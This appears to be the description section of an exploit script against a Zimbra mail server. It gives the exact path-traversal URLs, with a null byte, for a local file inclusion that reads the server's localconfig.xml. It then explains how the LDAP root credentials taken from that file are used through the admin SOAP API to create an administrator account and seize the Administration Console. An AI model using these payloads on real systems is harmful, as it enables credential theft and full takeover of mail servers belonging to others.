---------------Description-----------------

This script exploits a Local File Inclusion in
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz
which allows us to see localconfig.xml
that contains LDAP root credentials wich allow us to make requests in
/service/admin/soap API with the stolen LDAP credentials to create user
with administration privlegies
and gain acces to the Administration Console.

LFI is located at :
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=
../../../../../../../../../opt/zimbra/conf/localconfig.xml%00

Example :

https://mail.example.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?
v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00

or

https://mail.example.com:7071/zimbraAdmin/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20
TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00
